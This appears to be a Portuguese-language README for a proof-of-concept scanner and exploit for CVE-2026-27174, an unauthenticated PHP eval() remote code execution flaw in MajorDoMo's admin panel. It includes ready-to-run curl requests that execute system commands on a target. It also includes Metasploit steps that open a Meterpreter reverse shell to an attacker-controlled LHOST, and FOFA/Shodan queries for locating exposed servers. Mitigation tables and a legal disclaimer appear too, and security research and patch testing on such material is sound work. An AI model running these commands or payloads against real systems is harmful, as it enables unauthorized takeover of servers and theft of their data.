
CVE-2026-27174 - Uma execução remota de código não autenticada através do recurso de console PHP do painel de administração
Uma prova de conceito explorando uma execução remota de código não autenticada através do recurso de console PHP do painel de administração no MajorDomo (Módulo Doméstico Principal).
O painel de administração do MajorDoMo expõe um console de avaliação PHP via /admin.php. Devido a uma falta de saída após um redirecionamento de autenticação em panel.class.php, o manipulador AJAX inc_panel_ajax.php é incluído incondicionalmente — tornando seu eval() acessível por qualquer requisição HTTP não autenticada.
Um atacante pode executar código PHP arbitrário com uma única requisição GET, sem exigir credenciais, acesso prévio ou interação da vítima.
scan.py é um scanner multithread não destrutivo que detecta hosts vulneráveis ao CVE-2026-27174 sem executar nenhum payload prejudicial.
O scanner opera em três fases sequenciais por alvo:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
Um marcador alfanumérico aleatório é gerado por requisição para evitar falsos positivos de cache, WAFs ou poluição de resposta.
pip install requests
Crie um arquivo targets.txt com um IP:PORTA por linha:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonGerado automaticamente quando pelo menos um host vulnerável é encontrado:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
Com base no resultado do campo system_functions_available no arquivo result.json, podemos criar uma requisição GET usando a(s) função(ões) do sistema para explorar o RCE:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Módulo Metasploit:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
Um atacante remoto não autenticado pode:
O impacto efetivo depende da configuração PHP disable_functions do servidor:
CVSS 4.0 - 9.3 CRÍTICO — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Atualize para a versão mais recente do MajorDomo (Módulo Doméstico Principal).
| Controle | Previne RCE | Previne Execução SO |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
Esta ferramenta é apenas para testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal.
| Field | Description |
|---|
target | IP:PORTA escaneado |
url | URL completa onde RCE foi confirmada |
rce_php | Execução de código PHP confirmada (sempre true nos resultados) |
disable_functions | Configuração PHP disable_functions do servidor (null se vazio) |
system_functions_available | Funções de execução do SO chamáveis por um atacante |
impact_level | HIGH (execução do SO acessível) ou MEDIUM (apenas RCE PHP) |
| Scenario | Impact Level | Description |
|---|
Sem disable_functions | CRÍTICO | Execução total de comandos do SO |
| Restrições parciais | ALTO | RCE PHP + execução parcial do SO |
disable_functions bloqueia toda execução | MÉDIO | Apenas RCE PHP (leitura/escrita de arquivos, exfiltração de dados) |
| Aplicar patch de 18 de fevereiro de 2026 | ✅ | ✅ |
Firewall/lista de permissões de IP em /admin.php | ✅ | ✅ |
Hardening de disable_functions | ❌ | ✅ |